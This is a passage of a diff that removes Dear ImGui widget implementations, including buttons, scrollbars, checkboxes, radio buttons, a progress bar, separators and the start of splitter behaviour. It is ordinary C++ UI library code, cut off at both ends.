GetCurrentWindow(); - if (window->SkipItems) - return false; - - // Cannot use zero-size for InvisibleButton(). Unlike Button() there is not way to fallback using the label size. - IM_ASSERT(size_arg.x != 0.0f && size_arg.y != 0.0f); - - const ImGuiID id = window->GetID(str_id); - ImVec2 size = CalcItemSize(size_arg, 0.0f, 0.0f); - const ImRect bb(window->DC.CursorPos, window->DC.CursorPos + size); - ItemSize(size); - if (!ItemAdd(bb, id)) - return false; - - bool hovered, held; - bool pressed = ButtonBehavior(bb, id, &hovered, &held, flags); - - return pressed; -} - -bool ImGui::ArrowButtonEx(const char* str_id, ImGuiDir dir, ImVec2 size, ImGuiButtonFlags flags) -{ - ImGuiWindow* window = GetCurrentWindow(); - if (window->SkipItems) - return false; - - ImGuiContext& g = *GImGui; - const ImGuiID id = window->GetID(str_id); - const ImRect bb(window->DC.CursorPos, window->DC.CursorPos + size); - const float default_size = GetFrameHeight(); - ItemSize(size, (size.y >= default_size) ? g.Style.FramePadding.y : -1.0f); - if (!ItemAdd(bb, id)) - return false; - - if (window->DC.ItemFlags & ImGuiItemFlags_ButtonRepeat) - flags |= ImGuiButtonFlags_Repeat; - - bool hovered, held; - bool pressed = ButtonBehavior(bb, id, &hovered, &held, flags); - - // Render - const ImU32 bg_col = GetColorU32((held && hovered) ? ImGuiCol_ButtonActive : hovered ? ImGuiCol_ButtonHovered : ImGuiCol_Button); - const ImU32 text_col = GetColorU32(ImGuiCol_Text); - RenderNavHighlight(bb, id); - RenderFrame(bb.Min, bb.Max, bg_col, true, g.Style.FrameRounding); - RenderArrow(window->DrawList, bb.Min + ImVec2(ImMax(0.0f, (size.x - g.FontSize) * 0.5f), ImMax(0.0f, (size.y - g.FontSize) * 0.5f)), text_col, dir); - - return pressed; -} - -bool ImGui::ArrowButton(const char* str_id, ImGuiDir dir) -{ - float sz = GetFrameHeight(); - return ArrowButtonEx(str_id, dir, ImVec2(sz, sz), ImGuiButtonFlags_None); -} - -// Button to close a window -bool ImGui::CloseButton(ImGuiID id, const ImVec2& pos) -{ - ImGuiContext& g = *GImGui; - ImGuiWindow* window = g.CurrentWindow; - - // Tweak 1: Shrink hit-testing area if button covers an abnormally large proportion of the visible region. That's in order to facilitate moving the window away. (#3825) - // This may better be applied as a general hit-rect reduction mechanism for all widgets to ensure the area to move window is always accessible? - const ImRect bb(pos, pos + ImVec2(g.FontSize, g.FontSize) + g.Style.FramePadding * 2.0f); - ImRect bb_interact = bb; - const float area_to_visible_ratio = window->OuterRectClipped.GetArea() / bb.GetArea(); - if (area_to_visible_ratio < 1.5f) - bb_interact.Expand(ImFloor(bb_interact.GetSize() * -0.25f)); - - // Tweak 2: We intentionally allow interaction when clipped so that a mechanical Alt,Right,Activate sequence can always close a window. - // (this isn't the regular behavior of buttons, but it doesn't affect the user much because navigation tends to keep items visible). - bool is_clipped = !ItemAdd(bb_interact, id); - - bool hovered, held; - bool pressed = ButtonBehavior(bb_interact, id, &hovered, &held); - if (is_clipped) - return pressed; - - // Render - // FIXME: Clarify this mess - ImU32 col = GetColorU32(held ? ImGuiCol_ButtonActive : ImGuiCol_ButtonHovered); - ImVec2 center = bb.GetCenter(); - if (hovered) - window->DrawList->AddCircleFilled(center, ImMax(2.0f, g.FontSize * 0.5f + 1.0f), col, 12); - - float cross_extent = g.FontSize * 0.5f * 0.7071f - 1.0f; - ImU32 cross_col = GetColorU32(ImGuiCol_Text); - center -= ImVec2(0.5f, 0.5f); - window->DrawList->AddLine(center + ImVec2(+cross_extent, +cross_extent), center + ImVec2(-cross_extent, -cross_extent), cross_col, 1.0f); - window->DrawList->AddLine(center + ImVec2(+cross_extent, -cross_extent), center + ImVec2(-cross_extent, +cross_extent), cross_col, 1.0f); - - return pressed; -} - -bool ImGui::CollapseButton(ImGuiID id, const ImVec2& pos) -{ - ImGuiContext& g = *GImGui; - ImGuiWindow* window = g.CurrentWindow; - - ImRect bb(pos, pos + ImVec2(g.FontSize, g.FontSize) + g.Style.FramePadding * 2.0f); - ItemAdd(bb, id); - bool hovered, held; - bool pressed = ButtonBehavior(bb, id, &hovered, &held, ImGuiButtonFlags_None); - - // Render - ImU32 bg_col = GetColorU32((held && hovered) ? ImGuiCol_ButtonActive : hovered ? ImGuiCol_ButtonHovered : ImGuiCol_Button); - ImU32 text_col = GetColorU32(ImGuiCol_Text); - ImVec2 center = bb.GetCenter(); - if (hovered || held) - window->DrawList->AddCircleFilled(center/*+ ImVec2(0.0f, -0.5f)*/, g.FontSize * 0.5f + 1.0f, bg_col, 12); - RenderArrow(window->DrawList, bb.Min + g.Style.FramePadding, text_col, window->Collapsed ? ImGuiDir_Right : ImGuiDir_Down, 1.0f); - - // Switch to moving the window after mouse is moved beyond the initial drag threshold - if (IsItemActive() && IsMouseDragging(0)) - StartMouseMovingWindow(window); - - return pressed; -} - -ImGuiID ImGui::GetWindowScrollbarID(ImGuiWindow* window, ImGuiAxis axis) -{ - return window->GetIDNoKeepAlive(axis == ImGuiAxis_X ? "#SCROLLX" : "#SCROLLY"); -} - -// Return scrollbar rectangle, must only be called for corresponding axis if window->ScrollbarX/Y is set. -ImRect ImGui::GetWindowScrollbarRect(ImGuiWindow* window, ImGuiAxis axis) -{ - const ImRect outer_rect = window->Rect(); - const ImRect inner_rect = window->InnerRect; - const float border_size = window->WindowBorderSize; - const float scrollbar_size = window->ScrollbarSizes[axis ^ 1]; // (ScrollbarSizes.x = width of Y scrollbar; ScrollbarSizes.y = height of X scrollbar) - IM_ASSERT(scrollbar_size > 0.0f); - if (axis == ImGuiAxis_X) - return ImRect(inner_rect.Min.x, ImMax(outer_rect.Min.y, outer_rect.Max.y - border_size - scrollbar_size), inner_rect.Max.x, outer_rect.Max.y); - else - return ImRect(ImMax(outer_rect.Min.x, outer_rect.Max.x - border_size - scrollbar_size), inner_rect.Min.y, outer_rect.Max.x, inner_rect.Max.y); -} - -void ImGui::Scrollbar(ImGuiAxis axis) -{ - ImGuiContext& g = *GImGui; - ImGuiWindow* window = g.CurrentWindow; - - const ImGuiID id = GetWindowScrollbarID(window, axis); - KeepAliveID(id); - - // Calculate scrollbar bounding box - ImRect bb = GetWindowScrollbarRect(window, axis); - ImDrawCornerFlags rounding_corners = 0; - if (axis == ImGuiAxis_X) - { - rounding_corners |= ImDrawCornerFlags_BotLeft; - if (!window->ScrollbarY) - rounding_corners |= ImDrawCornerFlags_BotRight; - } - else - { - if ((window->Flags & ImGuiWindowFlags_NoTitleBar) && !(window->Flags & ImGuiWindowFlags_MenuBar)) - rounding_corners |= ImDrawCornerFlags_TopRight; - if (!window->ScrollbarX) - rounding_corners |= ImDrawCornerFlags_BotRight; - } - float size_avail = window->InnerRect.Max[axis] - window->InnerRect.Min[axis]; - float size_contents = window->ContentSize[axis] + window->WindowPadding[axis] * 2.0f; - ScrollbarEx(bb, id, axis, &window->Scroll[axis], size_avail, size_contents, rounding_corners); -} - -// Vertical/Horizontal scrollbar -// The entire piece of code below is rather confusing because: -// - We handle absolute seeking (when first clicking outside the grab) and relative manipulation (afterward or when clicking inside the grab) -// - We store values as normalized ratio and in a form that allows the window content to change while we are holding on a scrollbar -// - We handle both horizontal and vertical scrollbars, which makes the terminology not ideal. -// Still, the code should probably be made simpler.. -bool ImGui::ScrollbarEx(const ImRect& bb_frame, ImGuiID id, ImGuiAxis axis, float* p_scroll_v, float size_avail_v, float size_contents_v, ImDrawCornerFlags rounding_corners) -{ - ImGuiContext& g = *GImGui; - ImGuiWindow* window = g.CurrentWindow; - if (window->SkipItems) - return false; - - const float bb_frame_width = bb_frame.GetWidth(); - const float bb_frame_height = bb_frame.GetHeight(); - if (bb_frame_width <= 0.0f || bb_frame_height <= 0.0f) - return false; - - // When we are too small, start hiding and disabling the grab (this reduce visual noise on very small window and facilitate using the window resize grab) - float alpha = 1.0f; - if ((axis == ImGuiAxis_Y) && bb_frame_height < g.FontSize + g.Style.FramePadding.y * 2.0f) - alpha = ImSaturate((bb_frame_height - g.FontSize) / (g.Style.FramePadding.y * 2.0f)); - if (alpha <= 0.0f) - return false; - - const ImGuiStyle& style = g.Style; - const bool allow_interaction = (alpha >= 1.0f); - - ImRect bb = bb_frame; - bb.Expand(ImVec2(-ImClamp(IM_FLOOR((bb_frame_width - 2.0f) * 0.5f), 0.0f, 3.0f), -ImClamp(IM_FLOOR((bb_frame_height - 2.0f) * 0.5f), 0.0f, 3.0f))); - - // V denote the main, longer axis of the scrollbar (= height for a vertical scrollbar) - const float scrollbar_size_v = (axis == ImGuiAxis_X) ? bb.GetWidth() : bb.GetHeight(); - - // Calculate the height of our grabbable box. It generally represent the amount visible (vs the total scrollable amount) - // But we maintain a minimum size in pixel to allow for the user to still aim inside. - IM_ASSERT(ImMax(size_contents_v, size_avail_v) > 0.0f); // Adding this assert to check if the ImMax(XXX,1.0f) is still needed. PLEASE CONTACT ME if this triggers. - const float win_size_v = ImMax(ImMax(size_contents_v, size_avail_v), 1.0f); - const float grab_h_pixels = ImClamp(scrollbar_size_v * (size_avail_v / win_size_v), style.GrabMinSize, scrollbar_size_v); - const float grab_h_norm = grab_h_pixels / scrollbar_size_v; - - // Handle input right away. None of the code of Begin() is relying on scrolling position before calling Scrollbar(). - bool held = false; - bool hovered = false; - ButtonBehavior(bb, id, &hovered, &held, ImGuiButtonFlags_NoNavFocus); - - float scroll_max = ImMax(1.0f, size_contents_v - size_avail_v); - float scroll_ratio = ImSaturate(*p_scroll_v / scroll_max); - float grab_v_norm = scroll_ratio * (scrollbar_size_v - grab_h_pixels) / scrollbar_size_v; // Grab position in normalized space - if (held && allow_interaction && grab_h_norm < 1.0f) - { - float scrollbar_pos_v = bb.Min[axis]; - float mouse_pos_v = g.IO.MousePos[axis]; - - // Click position in scrollbar normalized space (0.0f->1.0f) - const float clicked_v_norm = ImSaturate((mouse_pos_v - scrollbar_pos_v) / scrollbar_size_v); - SetHoveredID(id); - - bool seek_absolute = false; - if (g.ActiveIdIsJustActivated) - { - // On initial click calculate the distance between mouse and the center of the grab - seek_absolute = (clicked_v_norm < grab_v_norm || clicked_v_norm > grab_v_norm + grab_h_norm); - if (seek_absolute) - g.ScrollbarClickDeltaToGrabCenter = 0.0f; - else - g.ScrollbarClickDeltaToGrabCenter = clicked_v_norm - grab_v_norm - grab_h_norm * 0.5f; - } - - // Apply scroll (p_scroll_v will generally point on one member of window->Scroll) - // It is ok to modify Scroll here because we are being called in Begin() after the calculation of ContentSize and before setting up our starting position - const float scroll_v_norm = ImSaturate((clicked_v_norm - g.ScrollbarClickDeltaToGrabCenter - grab_h_norm * 0.5f) / (1.0f - grab_h_norm)); - *p_scroll_v = IM_ROUND(scroll_v_norm * scroll_max);//(win_size_contents_v - win_size_v)); - - // Update values for rendering - scroll_ratio = ImSaturate(*p_scroll_v / scroll_max); - grab_v_norm = scroll_ratio * (scrollbar_size_v - grab_h_pixels) / scrollbar_size_v; - - // Update distance to grab now that we have seeked and saturated - if (seek_absolute) - g.ScrollbarClickDeltaToGrabCenter = clicked_v_norm - grab_v_norm - grab_h_norm * 0.5f; - } - - // Render - const ImU32 bg_col = GetColorU32(ImGuiCol_ScrollbarBg); - const ImU32 grab_col = GetColorU32(held ? ImGuiCol_ScrollbarGrabActive : hovered ? ImGuiCol_ScrollbarGrabHovered : ImGuiCol_ScrollbarGrab, alpha); - window->DrawList->AddRectFilled(bb_frame.Min, bb_frame.Max, bg_col, window->WindowRounding, rounding_corners); - ImRect grab_rect; - if (axis == ImGuiAxis_X) - grab_rect = ImRect(ImLerp(bb.Min.x, bb.Max.x, grab_v_norm), bb.Min.y, ImLerp(bb.Min.x, bb.Max.x, grab_v_norm) + grab_h_pixels, bb.Max.y); - else - grab_rect = ImRect(bb.Min.x, ImLerp(bb.Min.y, bb.Max.y, grab_v_norm), bb.Max.x, ImLerp(bb.Min.y, bb.Max.y, grab_v_norm) + grab_h_pixels); - window->DrawList->AddRectFilled(grab_rect.Min, grab_rect.Max, grab_col, style.ScrollbarRounding); - - return held; -} - -void ImGui::Image(ImTextureID user_texture_id, const ImVec2& size, const ImVec2& uv0, const ImVec2& uv1, const ImVec4& tint_col, const ImVec4& border_col) -{ - ImGuiWindow* window = GetCurrentWindow(); - if (window->SkipItems) - return; - - ImRect bb(window->DC.CursorPos, window->DC.CursorPos + size); - if (border_col.w > 0.0f) - bb.Max += ImVec2(2, 2); - ItemSize(bb); - if (!ItemAdd(bb, 0)) - return; - - if (border_col.w > 0.0f) - { - window->DrawList->AddRect(bb.Min, bb.Max, GetColorU32(border_col), 0.0f); - window->DrawList->AddImage(user_texture_id, bb.Min + ImVec2(1, 1), bb.Max - ImVec2(1, 1), uv0, uv1, GetColorU32(tint_col)); - } - else - { - window->DrawList->AddImage(user_texture_id, bb.Min, bb.Max, uv0, uv1, GetColorU32(tint_col)); - } -} - -// ImageButton() is flawed as 'id' is always derived from 'texture_id' (see #2464 #1390) -// We provide this internal helper to write your own variant while we figure out how to redesign the public ImageButton() API. -bool ImGui::ImageButtonEx(ImGuiID id, ImTextureID texture_id, const ImVec2& size, const ImVec2& uv0, const ImVec2& uv1, const ImVec2& padding, const ImVec4& bg_col, const ImVec4& tint_col) -{ - ImGuiContext& g = *GImGui; - ImGuiWindow* window = GetCurrentWindow(); - if (window->SkipItems) - return false; - - const ImRect bb(window->DC.CursorPos, window->DC.CursorPos + size + padding * 2); - ItemSize(bb); - if (!ItemAdd(bb, id)) - return false; - - bool hovered, held; - bool pressed = ButtonBehavior(bb, id, &hovered, &held); - - // Render - const ImU32 col = GetColorU32((held && hovered) ? ImGuiCol_ButtonActive : hovered ? ImGuiCol_ButtonHovered : ImGuiCol_Button); - RenderNavHighlight(bb, id); - RenderFrame(bb.Min, bb.Max, col, true, ImClamp((float)ImMin(padding.x, padding.y), 0.0f, g.Style.FrameRounding)); - if (bg_col.w > 0.0f) - window->DrawList->AddRectFilled(bb.Min + padding, bb.Max - padding, GetColorU32(bg_col)); - window->DrawList->AddImage(texture_id, bb.Min + padding, bb.Max - padding, uv0, uv1, GetColorU32(tint_col)); - - return pressed; -} - -// frame_padding < 0: uses FramePadding from style (default) -// frame_padding = 0: no framing -// frame_padding > 0: set framing size -bool ImGui::ImageButton(ImTextureID user_texture_id, const ImVec2& size, const ImVec2& uv0, const ImVec2& uv1, int frame_padding, const ImVec4& bg_col, const ImVec4& tint_col) -{ - ImGuiContext& g = *GImGui; - ImGuiWindow* window = g.CurrentWindow; - if (window->SkipItems) - return false; - - // Default to using texture ID as ID. User can still push string/integer prefixes. - PushID((void*)(intptr_t)user_texture_id); - const ImGuiID id = window->GetID("#image"); - PopID(); - - const ImVec2 padding = (frame_padding >= 0) ? ImVec2((float)frame_padding, (float)frame_padding) : g.Style.FramePadding; - return ImageButtonEx(id, user_texture_id, size, uv0, uv1, padding, bg_col, tint_col); -} - -bool ImGui::Checkbox(const char* label, bool* v) -{ - ImGuiWindow* window = GetCurrentWindow(); - if (window->SkipItems) - return false; - - ImGuiContext& g = *GImGui; - const ImGuiStyle& style = g.Style; - const ImGuiID id = window->GetID(label); - const ImVec2 label_size = CalcTextSize(label, NULL, true); - - const float square_sz = GetFrameHeight(); - const ImVec2 pos = window->DC.CursorPos; - const ImRect total_bb(pos, pos + ImVec2(square_sz + (label_size.x > 0.0f ? style.ItemInnerSpacing.x + label_size.x : 0.0f), label_size.y + style.FramePadding.y * 2.0f)); - ItemSize(total_bb, style.FramePadding.y); - if (!ItemAdd(total_bb, id)) - { - IMGUI_TEST_ENGINE_ITEM_INFO(id, label, window->DC.ItemFlags | ImGuiItemStatusFlags_Checkable | (*v ? ImGuiItemStatusFlags_Checked : 0)); - return false; - } - - bool hovered, held; - bool pressed = ButtonBehavior(total_bb, id, &hovered, &held); - if (pressed) - { - *v = !(*v); - MarkItemEdited(id); - } - - const ImRect check_bb(pos, pos + ImVec2(square_sz, square_sz)); - RenderNavHighlight(total_bb, id); - RenderFrame(check_bb.Min, check_bb.Max, GetColorU32((held && hovered) ? ImGuiCol_FrameBgActive : hovered ? ImGuiCol_FrameBgHovered : ImGuiCol_FrameBg), true, style.FrameRounding); - ImU32 check_col = GetColorU32(ImGuiCol_CheckMark); - bool mixed_value = (window->DC.ItemFlags & ImGuiItemFlags_MixedValue) != 0; - if (mixed_value) - { - // Undocumented tristate/mixed/indeterminate checkbox (#2644) - // This may seem awkwardly designed because the aim is to make ImGuiItemFlags_MixedValue supported by all widgets (not just checkbox) - ImVec2 pad(ImMax(1.0f, IM_FLOOR(square_sz / 3.6f)), ImMax(1.0f, IM_FLOOR(square_sz / 3.6f))); - window->DrawList->AddRectFilled(check_bb.Min + pad, check_bb.Max - pad, check_col, style.FrameRounding); - } - else if (*v) - { - const float pad = ImMax(1.0f, IM_FLOOR(square_sz / 6.0f)); - RenderCheckMark(window->DrawList, check_bb.Min + ImVec2(pad, pad), check_col, square_sz - pad * 2.0f); - } - - ImVec2 label_pos = ImVec2(check_bb.Max.x + style.ItemInnerSpacing.x, check_bb.Min.y + style.FramePadding.y); - if (g.LogEnabled) - LogRenderedText(&label_pos, mixed_value ? "[~]" : *v ? "[x]" : "[ ]"); - if (label_size.x > 0.0f) - RenderText(label_pos, label); - - IMGUI_TEST_ENGINE_ITEM_INFO(id, label, window->DC.ItemFlags | ImGuiItemStatusFlags_Checkable | (*v ? ImGuiItemStatusFlags_Checked : 0)); - return pressed; -} - -template -bool ImGui::CheckboxFlagsT(const char* label, T* flags, T flags_value) -{ - bool all_on = (*flags & flags_value) == flags_value; - bool any_on = (*flags & flags_value) != 0; - bool pressed; - if (!all_on && any_on) - { - ImGuiWindow* window = GetCurrentWindow(); - ImGuiItemFlags backup_item_flags = window->DC.ItemFlags; - window->DC.ItemFlags |= ImGuiItemFlags_MixedValue; - pressed = Checkbox(label, &all_on); - window->DC.ItemFlags = backup_item_flags; - } - else - { - pressed = Checkbox(label, &all_on); - - } - if (pressed) - { - if (all_on) - *flags |= flags_value; - else - *flags &= ~flags_value; - } - return pressed; -} - -bool ImGui::CheckboxFlags(const char* label, int* flags, int flags_value) -{ - return CheckboxFlagsT(label, flags, flags_value); -} - -bool ImGui::CheckboxFlags(const char* label, unsigned int* flags, unsigned int flags_value) -{ - return CheckboxFlagsT(label, flags, flags_value); -} - -bool ImGui::CheckboxFlags(const char* label, ImS64* flags, ImS64 flags_value) -{ - return CheckboxFlagsT(label, flags, flags_value); -} - -bool ImGui::CheckboxFlags(const char* label, ImU64* flags, ImU64 flags_value) -{ - return CheckboxFlagsT(label, flags, flags_value); -} - -bool ImGui::RadioButton(const char* label, bool active) -{ - ImGuiWindow* window = GetCurrentWindow(); - if (window->SkipItems) - return false; - - ImGuiContext& g = *GImGui; - const ImGuiStyle& style = g.Style; - const ImGuiID id = window->GetID(label); - const ImVec2 label_size = CalcTextSize(label, NULL, true); - - const float square_sz = GetFrameHeight(); - const ImVec2 pos = window->DC.CursorPos; - const ImRect check_bb(pos, pos + ImVec2(square_sz, square_sz)); - const ImRect total_bb(pos, pos + ImVec2(square_sz + (label_size.x > 0.0f ? style.ItemInnerSpacing.x + label_size.x : 0.0f), label_size.y + style.FramePadding.y * 2.0f)); - ItemSize(total_bb, style.FramePadding.y); - if (!ItemAdd(total_bb, id)) - return false; - - ImVec2 center = check_bb.GetCenter(); - center.x = IM_ROUND(center.x); - center.y = IM_ROUND(center.y); - const float radius = (square_sz - 1.0f) * 0.5f; - - bool hovered, held; - bool pressed = ButtonBehavior(total_bb, id, &hovered, &held); - if (pressed) - MarkItemEdited(id); - - RenderNavHighlight(total_bb, id); - window->DrawList->AddCircleFilled(center, radius, GetColorU32((held && hovered) ? ImGuiCol_FrameBgActive : hovered ? ImGuiCol_FrameBgHovered : ImGuiCol_FrameBg), 16); - if (active) - { - const float pad = ImMax(1.0f, IM_FLOOR(square_sz / 6.0f)); - window->DrawList->AddCircleFilled(center, radius - pad, GetColorU32(ImGuiCol_CheckMark), 16); - } - - if (style.FrameBorderSize > 0.0f) - { - window->DrawList->AddCircle(center + ImVec2(1, 1), radius, GetColorU32(ImGuiCol_BorderShadow), 16, style.FrameBorderSize); - window->DrawList->AddCircle(center, radius, GetColorU32(ImGuiCol_Border), 16, style.FrameBorderSize); - } - - ImVec2 label_pos = ImVec2(check_bb.Max.x + style.ItemInnerSpacing.x, check_bb.Min.y + style.FramePadding.y); - if (g.LogEnabled) - LogRenderedText(&label_pos, active ? "(x)" : "( )"); - if (label_size.x > 0.0f) - RenderText(label_pos, label); - - IMGUI_TEST_ENGINE_ITEM_INFO(id, label, window->DC.ItemFlags); - return pressed; -} - -// FIXME: This would work nicely if it was a public template, e.g. 'template RadioButton(const char* label, T* v, T v_button)', but I'm not sure how we would expose it.. -bool ImGui::RadioButton(const char* label, int* v, int v_button) -{ - const bool pressed = RadioButton(label, *v == v_button); - if (pressed) - *v = v_button; - return pressed; -} - -// size_arg (for each axis) < 0.0f: align to end, 0.0f: auto, > 0.0f: specified size -void ImGui::ProgressBar(float fraction, const ImVec2& size_arg, const char* overlay) -{ - ImGuiWindow* window = GetCurrentWindow(); - if (window->SkipItems) - return; - - ImGuiContext& g = *GImGui; - const ImGuiStyle& style = g.Style; - - ImVec2 pos = window->DC.CursorPos; - ImVec2 size = CalcItemSize(size_arg, CalcItemWidth(), g.FontSize + style.FramePadding.y * 2.0f); - ImRect bb(pos, pos + size); - ItemSize(size, style.FramePadding.y); - if (!ItemAdd(bb, 0)) - return; - - // Render - fraction = ImSaturate(fraction); - RenderFrame(bb.Min, bb.Max, GetColorU32(ImGuiCol_FrameBg), true, style.FrameRounding); - bb.Expand(ImVec2(-style.FrameBorderSize, -style.FrameBorderSize)); - const ImVec2 fill_br = ImVec2(ImLerp(bb.Min.x, bb.Max.x, fraction), bb.Max.y); - RenderRectFilledRangeH(window->DrawList, bb, GetColorU32(ImGuiCol_PlotHistogram), 0.0f, fraction, style.FrameRounding); - - // Default displaying the fraction as percentage string, but user can override it - char overlay_buf[32]; - if (!overlay) - { - ImFormatString(overlay_buf, IM_ARRAYSIZE(overlay_buf), "%.0f%%", fraction * 100 + 0.01f); - overlay = overlay_buf; - } - - ImVec2 overlay_size = CalcTextSize(overlay, NULL); - if (overlay_size.x > 0.0f) - RenderTextClipped(ImVec2(ImClamp(fill_br.x + style.ItemSpacing.x, bb.Min.x, bb.Max.x - overlay_size.x - style.ItemInnerSpacing.x), bb.Min.y), bb.Max, overlay, NULL, &overlay_size, ImVec2(0.0f, 0.5f), &bb); -} - -void ImGui::Bullet() -{ - ImGuiWindow* window = GetCurrentWindow(); - if (window->SkipItems) - return; - - ImGuiContext& g = *GImGui; - const ImGuiStyle& style = g.Style; - const float line_height = ImMax(ImMin(window->DC.CurrLineSize.y, g.FontSize + g.Style.FramePadding.y * 2), g.FontSize); - const ImRect bb(window->DC.CursorPos, window->DC.CursorPos + ImVec2(g.FontSize, line_height)); - ItemSize(bb); - if (!ItemAdd(bb, 0)) - { - SameLine(0, style.FramePadding.x * 2); - return; - } - - // Render and stay on same line - ImU32 text_col = GetColorU32(ImGuiCol_Text); - RenderBullet(window->DrawList, bb.Min + ImVec2(style.FramePadding.x + g.FontSize * 0.5f, line_height * 0.5f), text_col); - SameLine(0, style.FramePadding.x * 2.0f); -} - -//------------------------------------------------------------------------- -// [SECTION] Widgets: Low-level Layout helpers -//------------------------------------------------------------------------- -// - Spacing() -// - Dummy() -// - NewLine() -// - AlignTextToFramePadding() -// - SeparatorEx() [Internal] -// - Separator() -// - SplitterBehavior() [Internal] -// - ShrinkWidths() [Internal] -//------------------------------------------------------------------------- - -void ImGui::Spacing() -{ - ImGuiWindow* window = GetCurrentWindow(); - if (window->SkipItems) - return; - ItemSize(ImVec2(0, 0)); -} - -void ImGui::Dummy(const ImVec2& size) -{ - ImGuiWindow* window = GetCurrentWindow(); - if (window->SkipItems) - return; - - const ImRect bb(window->DC.CursorPos, window->DC.CursorPos + size); - ItemSize(size); - ItemAdd(bb, 0); -} - -void ImGui::NewLine() -{ - ImGuiWindow* window = GetCurrentWindow(); - if (window->SkipItems) - return; - - ImGuiContext& g = *GImGui; - const ImGuiLayoutType backup_layout_type = window->DC.LayoutType; - window->DC.LayoutType = ImGuiLayoutType_Vertical; - if (window->DC.CurrLineSize.y > 0.0f) // In the event that we are on a line with items that is smaller that FontSize high, we will preserve its height. - ItemSize(ImVec2(0, 0)); - else - ItemSize(ImVec2(0.0f, g.FontSize)); - window->DC.LayoutType = backup_layout_type; -} - -void ImGui::AlignTextToFramePadding() -{ - ImGuiWindow* window = GetCurrentWindow(); - if (window->SkipItems) - return; - - ImGuiContext& g = *GImGui; - window->DC.CurrLineSize.y = ImMax(window->DC.CurrLineSize.y, g.FontSize + g.Style.FramePadding.y * 2); - window->DC.CurrLineTextBaseOffset = ImMax(window->DC.CurrLineTextBaseOffset, g.Style.FramePadding.y); -} - -// Horizontal/vertical separating line -void ImGui::SeparatorEx(ImGuiSeparatorFlags flags) -{ - ImGuiWindow* window = GetCurrentWindow(); - if (window->SkipItems) - return; - - ImGuiContext& g = *GImGui; - IM_ASSERT(ImIsPowerOfTwo(flags & (ImGuiSeparatorFlags_Horizontal | ImGuiSeparatorFlags_Vertical))); // Check that only 1 option is selected - - float thickness_draw = 1.0f; - float thickness_layout = 0.0f; - if (flags & ImGuiSeparatorFlags_Vertical) - { - // Vertical separator, for menu bars (use current line height). Not exposed because it is misleading and it doesn't have an effect on regular layout. - float y1 = window->DC.CursorPos.y; - float y2 = window->DC.CursorPos.y + window->DC.CurrLineSize.y; - const ImRect bb(ImVec2(window->DC.CursorPos.x, y1), ImVec2(window->DC.CursorPos.x + thickness_draw, y2)); - ItemSize(ImVec2(thickness_layout, 0.0f)); - if (!ItemAdd(bb, 0)) - return; - - // Draw - window->DrawList->AddLine(ImVec2(bb.Min.x, bb.Min.y), ImVec2(bb.Min.x, bb.Max.y), GetColorU32(ImGuiCol_Separator)); - if (g.LogEnabled) - LogText(" |"); - } - else if (flags & ImGuiSeparatorFlags_Horizontal) - { - // Horizontal Separator - float x1 = window->Pos.x; - float x2 = window->Pos.x + window->Size.x; - - // FIXME-WORKRECT: old hack (#205) until we decide of consistent behavior with WorkRect/Indent and Separator - if (g.GroupStack.Size > 0 && g.GroupStack.back().WindowID == window->ID) - x1 += window->DC.Indent.x; - - ImGuiOldColumns* columns = (flags & ImGuiSeparatorFlags_SpanAllColumns) ? window->DC.CurrentColumns : NULL; - if (columns) - PushColumnsBackground(); - - // We don't provide our width to the layout so that it doesn't get feed back into AutoFit - const ImRect bb(ImVec2(x1, window->DC.CursorPos.y), ImVec2(x2, window->DC.CursorPos.y + thickness_draw)); - ItemSize(ImVec2(0.0f, thickness_layout)); - const bool item_visible = ItemAdd(bb, 0); - if (item_visible) - { - // Draw - window->DrawList->AddLine(bb.Min, ImVec2(bb.Max.x, bb.Min.y), GetColorU32(ImGuiCol_Separator)); - if (g.LogEnabled) - LogRenderedText(&bb.Min, "--------------------------------\n"); - - } - if (columns) - { - PopColumnsBackground(); - columns->LineMinY = window->DC.CursorPos.y; - } - } -} - -void ImGui::Separator() -{ - ImGuiContext& g = *GImGui; - ImGuiWindow* window = g.CurrentWindow; - if (window->SkipItems) - return; - - // Those flags should eventually be overridable by the user - ImGuiSeparatorFlags flags = (window->DC.LayoutType == ImGuiLayoutType_Horizontal) ? ImGuiSeparatorFlags_Vertical : ImGuiSeparatorFlags_Horizontal; - flags |= ImGuiSeparatorFlags_SpanAllColumns; - SeparatorEx(flags); -} - -// Using 'hover_visibility_delay' allows us to hide the highlight and mouse cursor for a short time, which can be convenient to reduce visual noise. -bool ImGui::SplitterBehavior(const ImRect& bb, ImGuiID id, ImGuiAxis axis, float* size1, float* size2, float min_size1, float min_size2, float hover_extend, float hover_visibility_delay) -{ - ImGuiContext& g = *GImGui; - ImGuiWindow* window = g.CurrentWindow; - - const ImGuiItemFlags item_flags_backup = window->DC.ItemFlags; - window->DC.ItemFlags |= ImGuiItemFlags_NoNav | ImGuiItemFlags_NoNavDefaultFocus; - bool item_add = ItemAdd(bb, id); - window->DC.ItemFlags = item_flags_backup; - if (!item_add) - return false; - - bool hovered, held; - ImRect bb_interact = bb; - bb_interact.Expand(axis == ImGuiAxis_Y ? ImVec2(0.0f, hover_extend) : ImVec2(hover_extend, 0.0f)); - ButtonBehavior(bb_interact, id, &hovered, &held, ImGuiButtonFlags_FlattenChildren | ImGuiButtonFlags_AllowItemOverlap); - if (g.ActiveId != id) - SetItemAllowOverlap(); - - if (held || (g.HoveredId == id && g.HoveredIdPreviousFrame == id && g.HoveredIdTimer >= hover_visibility_delay)) - SetMouseCursor(axis == ImGuiAxis_Y ? ImGuiMouseCursor_ResizeNS : ImGuiMouseCursor_ResizeEW); - - ImRect bb_render = bb; - if (held) - { - ImVec2 mouse_delta_2d = g.IO.MousePos - g.ActiveIdClickOffset - bb_interact.Min; - float mouse_delta = (axis == ImGuiAxis_Y) ? mouse_delta_2d.y : mouse_delta_2d.x; - - // Minimum pane size - float size_1_maximum_delta = ImMax(0.0f, *size1 - min_size1); - float size_2_maximum_delta = ImMax(0.0f, *size2 - min_size2); - if (mouse_delta < -size_1_maximum_delta) - mouse_delta = -size_1_maximum_delta; - if (mouse_delta > size_2_maximum_delta) - mouse_delta = size_2_maximum_delta; - - // Apply resize - if (mouse_delta != 0.0f) - { - if (mouse_delta < 0.0f) - IM_ASSERT(*size1 + mouse_delta >= min_size1); - if (mouse_delta > 0.0f) - IM_ASSERT(*size2 - mouse_delta >= min_size2); - *size1 += mouse_delta; - *size2 -= mouse_delta; - bb_render.Translate((axis == ImGuiAxis_X) ? ImVec2(mouse_delta, 0.0f) : ImVec2(0.0f, mouse_delta)); - MarkItemEdited(id); - } - } - - // Render - const ImU32 col = GetColorU32(held ? 